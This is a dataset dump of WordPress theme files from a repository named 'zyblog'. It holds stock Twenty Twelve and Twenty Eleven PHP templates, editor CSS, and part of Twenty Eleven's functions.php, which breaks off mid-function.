code
stringlengths
1
2.01M
repo_name
stringlengths
3
62
path
stringlengths
1
267
language
stringclasses
231 values
license
stringclasses
13 values
size
int64
1
2.01M
<?php /** * The template for displaying a "No posts found" message. * * @package WordPress * @subpackage Twenty_Twelve * @since Twenty Twelve 1.0 */ ?> <article id="post-0" class="post no-results not-found"> <header class="entry-header"> <h1 class="entry-title"><?php _e( 'Nothing Found', 'twentytwelve' ); ?></h1> </header> <div class="entry-content"> <p><?php _e( 'Apologies, but no results were found. Perhaps searching will help find a related post.', 'twentytwelve' ); ?></p> <?php get_search_form(); ?> </div><!-- .entry-content --> </article><!-- #post-0 -->
zyblog
trunk/zyblog/wp-content/themes/twentytwelve/content-none.php
PHP
asf20
593
<?php /** * The template for displaying posts in the Quote post format * * @package WordPress * @subpackage Twenty_Twelve * @since Twenty Twelve 1.0 */ ?> <article id="post-<?php the_ID(); ?>" <?php post_class(); ?>> <div class="entry-content"> <?php the_content( __( 'Continue reading <span class="meta-nav">&rarr;</span>', 'twentytwelve' ) ); ?> </div><!-- .entry-content --> <footer class="entry-meta"> <a href="<?php the_permalink(); ?>" title="<?php echo esc_attr( sprintf( __( 'Permalink to %s', 'twentytwelve' ), the_title_attribute( 'echo=0' ) ) ); ?>" rel="bookmark"><?php echo get_the_date(); ?></a> <?php if ( comments_open() ) : ?> <div class="comments-link"> <?php comments_popup_link( '<span class="leave-reply">' . __( 'Leave a reply', 'twentytwelve' ) . '</span>', __( '1 Reply', 'twentytwelve' ), __( '% Replies', 'twentytwelve' ) ); ?> </div><!-- .comments-link --> <?php endif; // comments_open() ?> <?php edit_post_link( __( 'Edit', 'twentytwelve' ), '<span class="edit-link">', '</span>' ); ?> </footer><!-- .entry-meta --> </article><!-- #post -->
zyblog
trunk/zyblog/wp-content/themes/twentytwelve/content-quote.php
PHP
asf20
1,113
/* Theme Name: Twenty Twelve Description: Used to style the TinyMCE editor. */ html { font-size: 87.5%; } html .mceContentBody { max-width: 625px; } body { color: #444; font-family: "Open Sans", Helvetica, Arial, sans-serif; font-size: 14px; font-size: 1rem; line-height: 1; text-rendering: optimizeLegibility; vertical-align: baseline; } /* =Headings -------------------------------------------------------------- */ h1, h2, h3, h4, h5, h6 { clear: both; line-height: 1.846153846; margin: 24px 0; margin: 1.714285714rem 0; } h1 { font-size: 21px; font-size: 1.5rem; line-height: 1.5; } h2 { font-size: 18px; font-size: 1.285714286rem; line-height: 1.6; } h3 { font-size: 16px; font-size: 1.142857143rem; } h4 { font-size: 14px; font-size: 1rem; } h5 { font-size: 13px; font-size: 0.928571429rem; } h6 { font-size: 12px; font-size: 0.857142857rem; } hr { background-color: #ccc; border: 0; height: 1px; margin: 24px; margin-bottom: 1.714285714rem; } /* =Text elements -------------------------------------------------------------- */ p { line-height: 1.714285714; margin: 0 0 24px; margin: 0 0 1.714285714rem; } ul, ol { margin: 0 0 24px; margin: 0 0 1.714285714rem; line-height: 1.714285714; padding: 0; } ul { list-style: disc outside; } ol { list-style: decimal outside; } ul ul, ol ol, ul ol, ol ul { margin-bottom: 0; } li { margin: 0 0 0 24px; margin: 0 0 0 1.714285714rem; } dl { margin: 0 24px; margin: 0 1.714285714rem; } dt { font-weight: bold; margin-bottom: 24px; margin-bottom: 1.714285714rem; } dd { line-height: 1.714285714; margin: 0 0 24px; margin: 0 0 1.714285714rem; } strong { font-weight: bold; } cite, em, i { font-style: italic; } cite { border: none; } big { font-size: 128.571429%; } .mceContentBody blockquote { font-style: italic !important; font-weight: normal; margin: 0; padding: 24px; padding: 1.714285714rem; } pre { border: 1px solid #ededed; color: #666; font-family: Consolas, Monaco, Lucida Console, monospace; font-size: 12px; font-size: 0.857142857rem; line-height: 1.714285714; margin: 24px 0; margin: 1.714285714rem 0; overflow: auto; padding: 24px; padding: 1.714285714rem; } code, kbd, samp, var { font-family: Consolas, Monaco, Lucida Console, monospace; font-size: 12px; font-size: 0.857142857rem; line-height: 2; } abbr, acronym, dfn { border-bottom: 1px dotted #666; cursor: help; } address { display: block; line-height: 1.714285714; margin: 0 0 24px; margin: 0 0 1.714285714rem; } del { color: #333; } ins { background: #fff9c0; border: none; color: #333; text-decoration: none; } sup, sub { font-size: 75%; line-height: 0; position: relative; vertical-align: baseline; } sup { top: -0.5em; } sub { bottom: -0.25em; } input[type="text"] { border: 1px solid #ccc; border-radius: 3px; font-family: inherit; padding: 6px; padding: 0.428571429rem; } textarea { border: 1px solid #d5d2ca; border-radius: 3px; font-family: inherit; font-size: 12px; font-size: 0.857142857rem; line-height: 1.714285714; padding: 10px; padding: 0.714285714rem; width: 96%; } /* =Links -------------------------------------------------------------- */ a, a em, a strong { color: #21759b; outline: none; } a:focus, a:active, a:hover { color: #0f3647; } /* =Alignment -------------------------------------------------------------- */ .alignleft { display: inline; float: left; margin: 12px 24px 12px 0; margin: 0.857142857rem 1.714285714rem 0.857142857rem 0; } .alignright { display: inline; float: right; margin: 12px 0 12px 24px; margin: 0.857142857rem 0 0.857142857rem 1.714285714rem; } .aligncenter { clear: both; display: block; margin-top: 12px; margin-top: 0.857142857rem; margin-bottom: 12px; margin-bottom: 0.857142857rem; } /* =Tables -------------------------------------------------------------- */ table { border-bottom: 1px solid #ededed; border-collapse: collapse; border-spacing: 0; color: #757575; font-size: 12px; font-size: 0.857142857rem; line-height: 2; margin: 0 0 24px; margin: 0 0 1.714285714rem; width: 100%; } tr th { color: #636363; font-size: 11px; font-size: 0.785714286rem; font-weight: bold; line-height: 2.181818182; text-align: left; text-transform: uppercase; } td { border-top: 1px solid #ededed !important; color: #757575; font-size: inherit; font-weight: normal; padding: 6px 10px 6px 0; text-align: left; } /* =Images -------------------------------------------------------------- */ img, .editor-attachment { border: 0; border-radius: 3px; box-shadow: 0 1px 4px rgba(0, 0, 0, 0.2); max-width: 100%; } img.size-full { width: auto/9; /* Prevent stretching of full-size images in IE8 */ } img[class*="wp-image-"] { height: auto; max-width: 100%; } img[class*="align"], img[class*="wp-image-"], img[class*="attachment-"] { height: auto; /* Make sure images with WordPress-added height and width attributes are scaled correctly */ } img.mceWPnextpage { border-radius: 0; box-shadow: none; } img.wp-smiley { border: 0; border-radius: 0; box-shadow: none; margin-bottom: 0; margin-top: 0; padding: 0; } .wp-caption { background: transparent; border: none; margin: 0; padding: 4px; text-align: left; } .wp-caption-dt { margin: 0; } .wp-caption .wp-caption-text, .wp-caption-dd { color: #757575; font-style: italic; font-size: 12px; font-size: 0.857142857rem; line-height: 2; margin: 0 0 24px; margin: 0 0 1.71429rem; }
zyblog
trunk/zyblog/wp-content/themes/twentytwelve/editor-style.css
CSS
asf20
5,464
<?php /** * The template for displaying posts in the Aside post format * * @package WordPress * @subpackage Twenty_Twelve * @since Twenty Twelve 1.0 */ ?> <article id="post-<?php the_ID(); ?>" <?php post_class(); ?>> <div class="aside"> <h1 class="entry-title"><a href="<?php the_permalink(); ?>" title="<?php echo esc_attr( sprintf( __( 'Permalink to %s', 'twentytwelve' ), the_title_attribute( 'echo=0' ) ) ); ?>" rel="bookmark"><?php the_title(); ?></a></h1> <div class="entry-content"> <?php the_content( __( 'Continue reading <span class="meta-nav">&rarr;</span>', 'twentytwelve' ) ); ?> </div><!-- .entry-content --> </div><!-- .aside --> <footer class="entry-meta"> <a href="<?php the_permalink(); ?>" title="<?php echo esc_attr( sprintf( __( 'Permalink to %s', 'twentytwelve' ), the_title_attribute( 'echo=0' ) ) ); ?>" rel="bookmark"><?php echo get_the_date(); ?></a> <?php if ( comments_open() ) : ?> <div class="comments-link"> <?php comments_popup_link( '<span class="leave-reply">' . __( 'Leave a reply', 'twentytwelve' ) . '</span>', __( '1 Reply', 'twentytwelve' ), __( '% Replies', 'twentytwelve' ) ); ?> </div><!-- .comments-link --> <?php endif; // comments_open() ?> <?php edit_post_link( __( 'Edit', 'twentytwelve' ), '<span class="edit-link">', '</span>' ); ?> </footer><!-- .entry-meta --> </article><!-- #post -->
zyblog
trunk/zyblog/wp-content/themes/twentytwelve/content-aside.php
PHP
asf20
1,390
<?php /** * The template for displaying image attachments. * * Learn more: http://codex.wordpress.org/Template_Hierarchy * * @package WordPress * @subpackage Twenty_Twelve * @since Twenty Twelve 1.0 */ get_header(); ?> <div id="primary" class="site-content"> <div id="content" role="main"> <?php while ( have_posts() ) : the_post(); ?> <article id="post-<?php the_ID(); ?>" <?php post_class( 'image-attachment' ); ?>> <header class="entry-header"> <h1 class="entry-title"><?php the_title(); ?></h1> <footer class="entry-meta"> <?php $metadata = wp_get_attachment_metadata(); printf( __( '<span class="meta-prep meta-prep-entry-date">Published </span> <span class="entry-date"><time class="entry-date" datetime="%1$s">%2$s</time></span> at <a href="%3$s" title="Link to full-size image">%4$s &times; %5$s</a> in <a href="%6$s" title="Return to %7$s" rel="gallery">%8$s</a>.', 'twentytwelve' ), esc_attr( get_the_date( 'c' ) ), esc_html( get_the_date() ), esc_url( wp_get_attachment_url() ), $metadata['width'], $metadata['height'], esc_url( get_permalink( $post->post_parent ) ), esc_attr( strip_tags( get_the_title( $post->post_parent ) ) ), get_the_title( $post->post_parent ) ); ?> <?php edit_post_link( __( 'Edit', 'twentytwelve' ), '<span class="edit-link">', '</span>' ); ?> </footer><!-- .entry-meta --> <nav id="image-navigation" class="navigation" role="navigation"> <span class="previous-image"><?php previous_image_link( false, __( '&larr; Previous', 'twentytwelve' ) ); ?></span> <span class="next-image"><?php next_image_link( false, __( 'Next &rarr;', 'twentytwelve' ) ); ?></span> </nav><!-- #image-navigation --> </header><!-- .entry-header --> <div class="entry-content"> <div class="entry-attachment"> <div class="attachment"> <?php /** * Grab the IDs of all the image attachments in a gallery so we can get the URL of the next adjacent image in a gallery, * or the first image (if we're looking at the last image in a gallery), or, in a gallery of one, just the link to that image file */ $attachments = array_values( get_children( array( 'post_parent' => $post->post_parent, 'post_status' => 'inherit', 'post_type' => 'attachment', 'post_mime_type' => 'image', 'order' => 'ASC', 'orderby' => 'menu_order ID' ) ) ); foreach ( $attachments as $k => $attachment ) : if ( $attachment->ID == $post->ID ) break; endforeach; $k++; // If there is more than 1 attachment in a gallery if ( count( $attachments ) > 1 ) : if ( isset( $attachments[ $k ] ) ) : // get the URL of the next image attachment $next_attachment_url = get_attachment_link( $attachments[ $k ]->ID ); else : // or get the URL of the first image attachment $next_attachment_url = get_attachment_link( $attachments[ 0 ]->ID ); endif; else : // or, if there's only 1 image, get the URL of the image $next_attachment_url = wp_get_attachment_url(); endif; ?> <a href="<?php echo esc_url( $next_attachment_url ); ?>" title="<?php the_title_attribute(); ?>" rel="attachment"><?php $attachment_size = apply_filters( 'twentytwelve_attachment_size', array( 960, 960 ) ); echo wp_get_attachment_image( $post->ID, $attachment_size ); ?></a> <?php if ( ! empty( $post->post_excerpt ) ) : ?> <div class="entry-caption"> <?php the_excerpt(); ?> </div> <?php endif; ?> </div><!-- .attachment --> </div><!-- .entry-attachment --> <div class="entry-description"> <?php the_content(); ?> <?php wp_link_pages( array( 'before' => '<div class="page-links">' . __( 'Pages:', 'twentytwelve' ), 'after' => '</div>' ) ); ?> </div><!-- .entry-description --> </div><!-- .entry-content --> </article><!-- #post --> <?php comments_template(); ?> <?php endwhile; // end of the loop. ?> </div><!-- #content --> </div><!-- #primary --> <?php get_footer(); ?>
zyblog
trunk/zyblog/wp-content/themes/twentytwelve/image.php
PHP
asf20
4,079
<?php /** * The template used for displaying page content in page.php * * @package WordPress * @subpackage Twenty_Twelve * @since Twenty Twelve 1.0 */ ?> <article id="post-<?php the_ID(); ?>" <?php post_class(); ?>> <header class="entry-header"> <h1 class="entry-title"><?php the_title(); ?></h1> </header> <div class="entry-content"> <?php the_content(); ?> <?php wp_link_pages( array( 'before' => '<div class="page-links">' . __( 'Pages:', 'twentytwelve' ), 'after' => '</div>' ) ); ?> </div><!-- .entry-content --> <footer class="entry-meta"> <?php edit_post_link( __( 'Edit', 'twentytwelve' ), '<span class="edit-link">', '</span>' ); ?> </footer><!-- .entry-meta --> </article><!-- #post -->
zyblog
trunk/zyblog/wp-content/themes/twentytwelve/content-page.php
PHP
asf20
731
<?php /** * The main template file. * * This is the most generic template file in a WordPress theme * and one of the two required files for a theme (the other being style.css). * It is used to display a page when nothing more specific matches a query. * For example, it puts together the home page when no home.php file exists. * * Learn more: http://codex.wordpress.org/Template_Hierarchy * * @package WordPress * @subpackage Twenty_Twelve * @since Twenty Twelve 1.0 */ get_header(); ?> <div id="primary" class="site-content"> <div id="content" role="main"> <?php if ( have_posts() ) : ?> <?php /* Start the Loop */ ?> <?php while ( have_posts() ) : the_post(); ?> <?php get_template_part( 'content', get_post_format() ); ?> <?php endwhile; ?> <?php twentytwelve_content_nav( 'nav-below' ); ?> <?php else : ?> <article id="post-0" class="post no-results not-found"> <?php if ( current_user_can( 'edit_posts' ) ) : // Show a different message to a logged-in user who can add posts. ?> <header class="entry-header"> <h1 class="entry-title"><?php _e( 'No posts to display', 'twentytwelve' ); ?></h1> </header> <div class="entry-content"> <p><?php printf( __( 'Ready to publish your first post? <a href="%s">Get started here</a>.', 'twentytwelve' ), admin_url( 'post-new.php' ) ); ?></p> </div><!-- .entry-content --> <?php else : // Show the default message to everyone else. ?> <header class="entry-header"> <h1 class="entry-title"><?php _e( 'Nothing Found', 'twentytwelve' ); ?></h1> </header> <div class="entry-content"> <p><?php _e( 'Apologies, but no results were found. Perhaps searching will help find a related post.', 'twentytwelve' ); ?></p> <?php get_search_form(); ?> </div><!-- .entry-content --> <?php endif; // end current_user_can() check ?> </article><!-- #post-0 --> <?php endif; // end have_posts() check ?> </div><!-- #content --> </div><!-- #primary --> <?php get_sidebar(); ?> <?php get_footer(); ?>
zyblog
trunk/zyblog/wp-content/themes/twentytwelve/index.php
PHP
asf20
2,060
<?php /** * The template for displaying posts in the Link Post Format on index and archive pages * * Learn more: http://codex.wordpress.org/Post_Formats * * @package WordPress * @subpackage Twenty_Eleven * @since Twenty Eleven 1.0 */ ?> <article id="post-<?php the_ID(); ?>" <?php post_class(); ?>> <header class="entry-header"> <hgroup> <h2 class="entry-title"><a href="<?php the_permalink(); ?>" title="<?php echo esc_attr( sprintf( __( 'Permalink to %s', 'twentyeleven' ), the_title_attribute( 'echo=0' ) ) ); ?>" rel="bookmark"><?php the_title(); ?></a></h2> <h3 class="entry-format"><?php _e( 'Link', 'twentyeleven' ); ?></h3> </hgroup> <?php if ( comments_open() && ! post_password_required() ) : ?> <div class="comments-link"> <?php comments_popup_link( '<span class="leave-reply">' . __( 'Reply', 'twentyeleven' ) . '</span>', _x( '1', 'comments number', 'twentyeleven' ), _x( '%', 'comments number', 'twentyeleven' ) ); ?> </div> <?php endif; ?> </header><!-- .entry-header --> <?php if ( is_search() ) : // Only display Excerpts for Search ?> <div class="entry-summary"> <?php the_excerpt(); ?> </div><!-- .entry-summary --> <?php else : ?> <div class="entry-content"> <?php the_content( __( 'Continue reading <span class="meta-nav">&rarr;</span>', 'twentyeleven' ) ); ?> <?php wp_link_pages( array( 'before' => '<div class="page-link"><span>' . __( 'Pages:', 'twentyeleven' ) . '</span>', 'after' => '</div>' ) ); ?> </div><!-- .entry-content --> <?php endif; ?> <footer class="entry-meta"> <?php twentyeleven_posted_on(); ?> <?php if ( comments_open() ) : ?> <span class="sep"> | </span> <span class="comments-link"><?php comments_popup_link( '<span class="leave-reply">' . __( 'Leave a reply', 'twentyeleven' ) . '</span>', __( '<b>1</b> Reply', 'twentyeleven' ), __( '<b>%</b> Replies', 'twentyeleven' ) ); ?></span> <?php endif; ?> <?php edit_post_link( __( 'Edit', 'twentyeleven' ), '<span class="edit-link">', '</span>' ); ?> </footer><!-- .entry-meta --> </article><!-- #post-<?php the_ID(); ?> -->
zyblog
trunk/zyblog/wp-content/themes/twentyeleven/content-link.php
PHP
asf20
2,110
<?php /** * The template for displaying content in the single.php template * * @package WordPress * @subpackage Twenty_Eleven * @since Twenty Eleven 1.0 */ ?> <article id="post-<?php the_ID(); ?>" <?php post_class(); ?>> <header class="entry-header"> <h1 class="entry-title"><?php the_title(); ?></h1> <?php if ( 'post' == get_post_type() ) : ?> <div class="entry-meta"> <?php twentyeleven_posted_on(); ?> </div><!-- .entry-meta --> <?php endif; ?> </header><!-- .entry-header --> <div class="entry-content"> <?php the_content(); ?> <?php wp_link_pages( array( 'before' => '<div class="page-link"><span>' . __( 'Pages:', 'twentyeleven' ) . '</span>', 'after' => '</div>' ) ); ?> </div><!-- .entry-content --> <footer class="entry-meta"> <?php /* translators: used between list items, there is a space after the comma */ $categories_list = get_the_category_list( __( ', ', 'twentyeleven' ) ); /* translators: used between list items, there is a space after the comma */ $tag_list = get_the_tag_list( '', __( ', ', 'twentyeleven' ) ); if ( '' != $tag_list ) { $utility_text = __( 'This entry was posted in %1$s and tagged %2$s by <a href="%6$s">%5$s</a>. Bookmark the <a href="%3$s" title="Permalink to %4$s" rel="bookmark">permalink</a>.', 'twentyeleven' ); } elseif ( '' != $categories_list ) { $utility_text = __( 'This entry was posted in %1$s by <a href="%6$s">%5$s</a>. Bookmark the <a href="%3$s" title="Permalink to %4$s" rel="bookmark">permalink</a>.', 'twentyeleven' ); } else { $utility_text = __( 'This entry was posted by <a href="%6$s">%5$s</a>. Bookmark the <a href="%3$s" title="Permalink to %4$s" rel="bookmark">permalink</a>.', 'twentyeleven' ); } printf( $utility_text, $categories_list, $tag_list, esc_url( get_permalink() ), the_title_attribute( 'echo=0' ), get_the_author(), esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ) ); ?> <?php edit_post_link( __( 'Edit', 'twentyeleven' ), '<span class="edit-link">', '</span>' ); ?> <?php if ( get_the_author_meta( 'description' ) && ( ! function_exists( 'is_multi_author' ) || is_multi_author() ) ) : // If a user has filled out their description and this is a multi-author blog, show a bio on their entries ?> <div id="author-info"> <div id="author-avatar"> <?php echo get_avatar( get_the_author_meta( 'user_email' ), apply_filters( 'twentyeleven_author_bio_avatar_size', 68 ) ); ?> </div><!-- #author-avatar --> <div id="author-description"> <h2><?php printf( __( 'About %s', 'twentyeleven' ), get_the_author() ); ?></h2> <?php the_author_meta( 'description' ); ?> <div id="author-link"> <a href="<?php echo esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ); ?>" rel="author"> <?php printf( __( 'View all posts by %s <span class="meta-nav">&rarr;</span>', 'twentyeleven' ), get_the_author() ); ?> </a> </div><!-- #author-link --> </div><!-- #author-description --> </div><!-- #author-info --> <?php endif; ?> </footer><!-- .entry-meta --> </article><!-- #post-<?php the_ID(); ?> -->
zyblog
trunk/zyblog/wp-content/themes/twentyeleven/content-single.php
PHP
asf20
3,144
<?php /** * The template for displaying posts in the Gallery Post Format on index and archive pages * * Learn more: http://codex.wordpress.org/Post_Formats * * @package WordPress * @subpackage Twenty_Eleven * @since Twenty Eleven 1.0 */ ?> <article id="post-<?php the_ID(); ?>" <?php post_class(); ?>> <header class="entry-header"> <hgroup> <h2 class="entry-title"><a href="<?php the_permalink(); ?>" title="<?php echo esc_attr( sprintf( __( 'Permalink to %s', 'twentyeleven' ), the_title_attribute( 'echo=0' ) ) ); ?>" rel="bookmark"><?php the_title(); ?></a></h2> <h3 class="entry-format"><?php _e( 'Gallery', 'twentyeleven' ); ?></h3> </hgroup> <div class="entry-meta"> <?php twentyeleven_posted_on(); ?> </div><!-- .entry-meta --> </header><!-- .entry-header --> <?php if ( is_search() ) : // Only display Excerpts for search pages ?> <div class="entry-summary"> <?php the_excerpt(); ?> </div><!-- .entry-summary --> <?php else : ?> <div class="entry-content"> <?php if ( post_password_required() ) : ?> <?php the_content( __( 'Continue reading <span class="meta-nav">&rarr;</span>', 'twentyeleven' ) ); ?> <?php else : ?> <?php $images = get_children( array( 'post_parent' => $post->ID, 'post_type' => 'attachment', 'post_mime_type' => 'image', 'orderby' => 'menu_order', 'order' => 'ASC', 'numberposts' => 999 ) ); if ( $images ) : $total_images = count( $images ); $image = array_shift( $images ); $image_img_tag = wp_get_attachment_image( $image->ID, 'thumbnail' ); ?> <figure class="gallery-thumb"> <a href="<?php the_permalink(); ?>"><?php echo $image_img_tag; ?></a> </figure><!-- .gallery-thumb --> <p><em><?php printf( _n( 'This gallery contains <a %1$s>%2$s photo</a>.', 'This gallery contains <a %1$s>%2$s photos</a>.', $total_images, 'twentyeleven' ), 'href="' . esc_url( get_permalink() ) . '" title="' . esc_attr( sprintf( __( 'Permalink to %s', 'twentyeleven' ), the_title_attribute( 'echo=0' ) ) ) . '" rel="bookmark"', number_format_i18n( $total_images ) ); ?></em></p> <?php endif; ?> <?php the_excerpt(); ?> <?php endif; ?> <?php wp_link_pages( array( 'before' => '<div class="page-link"><span>' . __( 'Pages:', 'twentyeleven' ) . '</span>', 'after' => '</div>' ) ); ?> </div><!-- .entry-content --> <?php endif; ?> <footer class="entry-meta"> <?php $show_sep = false; ?> <?php /* translators: used between list items, there is a space after the comma */ $categories_list = get_the_category_list( __( ', ', 'twentyeleven' ) ); if ( $categories_list ): ?> <span class="cat-links"> <?php printf( __( '<span class="%1$s">Posted in</span> %2$s', 'twentyeleven' ), 'entry-utility-prep entry-utility-prep-cat-links', $categories_list ); $show_sep = true; ?> </span> <?php endif; // End if categories ?> <?php /* translators: used between list items, there is a space after the comma */ $tags_list = get_the_tag_list( '', __( ', ', 'twentyeleven' ) ); if ( $tags_list ): if ( $show_sep ) : ?> <span class="sep"> | </span> <?php endif; // End if $show_sep ?> <span class="tag-links"> <?php printf( __( '<span class="%1$s">Tagged</span> %2$s', 'twentyeleven' ), 'entry-utility-prep entry-utility-prep-tag-links', $tags_list ); $show_sep = true; ?> </span> <?php endif; // End if $tags_list ?> <?php if ( comments_open() ) : ?> <?php if ( $show_sep ) : ?> <span class="sep"> | </span> <?php endif; // End if $show_sep ?> <span class="comments-link"><?php comments_popup_link( '<span class="leave-reply">' . __( 'Leave a reply', 'twentyeleven' ) . '</span>', __( '<b>1</b> Reply', 'twentyeleven' ), __( '<b>%</b> Replies', 'twentyeleven' ) ); ?></span> <?php endif; // End if comments_open() ?> <?php edit_post_link( __( 'Edit', 'twentyeleven' ), '<span class="edit-link">', '</span>' ); ?> </footer><!-- .entry-meta --> </article><!-- #post-<?php the_ID(); ?> -->
zyblog
trunk/zyblog/wp-content/themes/twentyeleven/content-gallery.php
PHP
asf20
3,991
/* Theme Name: Twenty Eleven */ /* Used to style the TinyMCE editor. */ html .mceContentBody { direction: rtl; unicode-bidi: embed; float: right; width: 584px; } * { font-family: Arial, Tahoma, sans-serif; } ul, ol { margin: 0 2.5em 1.625em 0; } blockquote { font-style: normal; } table { text-align: right; }
zyblog
trunk/zyblog/wp-content/themes/twentyeleven/editor-style-rtl.css
CSS
asf20
317
<?php /** * Twenty Eleven functions and definitions * * Sets up the theme and provides some helper functions. Some helper functions * are used in the theme as custom template tags. Others are attached to action and * filter hooks in WordPress to change core functionality. * * The first function, twentyeleven_setup(), sets up the theme by registering support * for various features in WordPress, such as post thumbnails, navigation menus, and the like. * * When using a child theme (see http://codex.wordpress.org/Theme_Development and * http://codex.wordpress.org/Child_Themes), you can override certain functions * (those wrapped in a function_exists() call) by defining them first in your child theme's * functions.php file. The child theme's functions.php file is included before the parent * theme's file, so the child theme functions would be used. * * Functions that are not pluggable (not wrapped in function_exists()) are instead attached * to a filter or action hook. The hook can be removed by using remove_action() or * remove_filter() and you can attach your own function to the hook. * * We can remove the parent theme's hook only after it is attached, which means we need to * wait until setting up the child theme: * * <code> * add_action( 'after_setup_theme', 'my_child_theme_setup' ); * function my_child_theme_setup() { * // We are providing our own filter for excerpt_length (or using the unfiltered value) * remove_filter( 'excerpt_length', 'twentyeleven_excerpt_length' ); * ... * } * </code> * * For more information on hooks, actions, and filters, see http://codex.wordpress.org/Plugin_API. * * @package WordPress * @subpackage Twenty_Eleven * @since Twenty Eleven 1.0 */ /** * Set the content width based on the theme's design and stylesheet. */ if ( ! isset( $content_width ) ) $content_width = 584; /** * Tell WordPress to run twentyeleven_setup() when the 'after_setup_theme' hook is run. */ add_action( 'after_setup_theme', 'twentyeleven_setup' ); if ( ! function_exists( 'twentyeleven_setup' ) ): /** * Sets up theme defaults and registers support for various WordPress features. * * Note that this function is hooked into the after_setup_theme hook, which runs * before the init hook. The init hook is too late for some features, such as indicating * support post thumbnails. * * To override twentyeleven_setup() in a child theme, add your own twentyeleven_setup to your child theme's * functions.php file. * * @uses load_theme_textdomain() For translation/localization support. * @uses add_editor_style() To style the visual editor. * @uses add_theme_support() To add support for post thumbnails, automatic feed links, custom headers * and backgrounds, and post formats. * @uses register_nav_menus() To add support for navigation menus. * @uses register_default_headers() To register the default custom header images provided with the theme. * @uses set_post_thumbnail_size() To set a custom post thumbnail size. * * @since Twenty Eleven 1.0 */ function twentyeleven_setup() { /* Make Twenty Eleven available for translation. * Translations can be added to the /languages/ directory. * If you're building a theme based on Twenty Eleven, use a find and replace * to change 'twentyeleven' to the name of your theme in all the template files. */ load_theme_textdomain( 'twentyeleven', get_template_directory() . '/languages' ); // This theme styles the visual editor with editor-style.css to match the theme style. add_editor_style(); // Load up our theme options page and related code. require( get_template_directory() . '/inc/theme-options.php' ); // Grab Twenty Eleven's Ephemera widget. require( get_template_directory() . '/inc/widgets.php' ); // Add default posts and comments RSS feed links to <head>. add_theme_support( 'automatic-feed-links' ); // This theme uses wp_nav_menu() in one location. register_nav_menu( 'primary', __( 'Primary Menu', 'twentyeleven' ) ); // Add support for a variety of post formats add_theme_support( 'post-formats', array( 'aside', 'link', 'gallery', 'status', 'quote', 'image' ) ); $theme_options = twentyeleven_get_theme_options(); if ( 'dark' == $theme_options['color_scheme'] ) $default_background_color = '1d1d1d'; else $default_background_color = 'e2e2e2'; // Add support for custom backgrounds. add_theme_support( 'custom-background', array( // Let WordPress know what our default background color is. // This is dependent on our current color scheme. 'default-color' => $default_background_color, ) ); // This theme uses Featured Images (also known as post thumbnails) for per-post/per-page Custom Header images add_theme_support( 'post-thumbnails' ); // Add support for custom headers. $custom_header_support = array( // The default header text color. 'default-text-color' => '000', // The height and width of our custom header. 'width' => apply_filters( 'twentyeleven_header_image_width', 1000 ), 'height' => apply_filters( 'twentyeleven_header_image_height', 288 ), // Support flexible heights. 'flex-height' => true, // Random image rotation by default. 'random-default' => true, // Callback for styling the header. 'wp-head-callback' => 'twentyeleven_header_style', // Callback for styling the header preview in the admin. 'admin-head-callback' => 'twentyeleven_admin_header_style', // Callback used to display the header preview in the admin. 'admin-preview-callback' => 'twentyeleven_admin_header_image', ); add_theme_support( 'custom-header', $custom_header_support ); if ( ! function_exists( 'get_custom_header' ) ) { // This is all for compatibility with versions of WordPress prior to 3.4. define( 'HEADER_TEXTCOLOR', $custom_header_support['default-text-color'] ); define( 'HEADER_IMAGE', '' ); define( 'HEADER_IMAGE_WIDTH', $custom_header_support['width'] ); define( 'HEADER_IMAGE_HEIGHT', $custom_header_support['height'] ); add_custom_image_header( $custom_header_support['wp-head-callback'], $custom_header_support['admin-head-callback'], $custom_header_support['admin-preview-callback'] ); add_custom_background(); } // We'll be using post thumbnails for custom header images on posts and pages. // We want them to be the size of the header image that we just defined // Larger images will be auto-cropped to fit, smaller ones will be ignored. See header.php. set_post_thumbnail_size( $custom_header_support['width'], $custom_header_support['height'], true ); // Add Twenty Eleven's custom image sizes. // Used for large feature (header) images. add_image_size( 'large-feature', $custom_header_support['width'], $custom_header_support['height'], true ); // Used for featured posts if a large-feature doesn't exist. add_image_size( 'small-feature', 500, 300 ); // Default custom headers packaged with the theme. %s is a placeholder for the theme template directory URI. register_default_headers( array( 'wheel' => array( 'url' => '%s/images/headers/wheel.jpg', 'thumbnail_url' => '%s/images/headers/wheel-thumbnail.jpg', /* translators: header image description */ 'description' => __( 'Wheel', 'twentyeleven' ) ), 'shore' => array( 'url' => '%s/images/headers/shore.jpg', 'thumbnail_url' => '%s/images/headers/shore-thumbnail.jpg', /* translators: header image description */ 'description' => __( 'Shore', 'twentyeleven' ) ), 'trolley' => array( 'url' => '%s/images/headers/trolley.jpg', 'thumbnail_url' => '%s/images/headers/trolley-thumbnail.jpg', /* translators: header image description */ 'description' => __( 'Trolley', 'twentyeleven' ) ), 'pine-cone' => array( 'url' => '%s/images/headers/pine-cone.jpg', 'thumbnail_url' => '%s/images/headers/pine-cone-thumbnail.jpg', /* translators: header image description */ 'description' => __( 'Pine Cone', 'twentyeleven' ) ), 'chessboard' => array( 'url' => '%s/images/headers/chessboard.jpg', 'thumbnail_url' => '%s/images/headers/chessboard-thumbnail.jpg', /* translators: header image description */ 'description' => __( 'Chessboard', 'twentyeleven' ) ), 'lanterns' => array( 'url' => '%s/images/headers/lanterns.jpg', 'thumbnail_url' => '%s/images/headers/lanterns-thumbnail.jpg', /* translators: header image description */ 'description' => __( 'Lanterns', 'twentyeleven' ) ), 'willow' => array( 'url' => '%s/images/headers/willow.jpg', 'thumbnail_url' => '%s/images/headers/willow-thumbnail.jpg', /* translators: header image description */ 'description' => __( 'Willow', 'twentyeleven' ) ), 'hanoi' => array( 'url' => '%s/images/headers/hanoi.jpg', 'thumbnail_url' => '%s/images/headers/hanoi-thumbnail.jpg', /* translators: header image description */ 'description' => __( 'Hanoi Plant', 'twentyeleven' ) ) ) ); } endif; // twentyeleven_setup if ( ! function_exists( 'twentyeleven_header_style' ) ) : /** * Styles the header image and text displayed on the blog * * @since Twenty Eleven 1.0 */ function twentyeleven_header_style() { $text_color = get_header_textcolor(); // If no custom options for text are set, let's bail. if ( $text_color == HEADER_TEXTCOLOR ) return; // If we get this far, we have custom styles. Let's do this. ?> <style type="text/css"> <?php // Has the text been hidden? if ( 'blank' == $text_color ) : ?> #site-title, #site-description { position: absolute !important; clip: rect(1px 1px 1px 1px); /* IE6, IE7 */ clip: rect(1px, 1px, 1px, 1px); } <?php // If the user has set a custom color for the text use that else : ?> 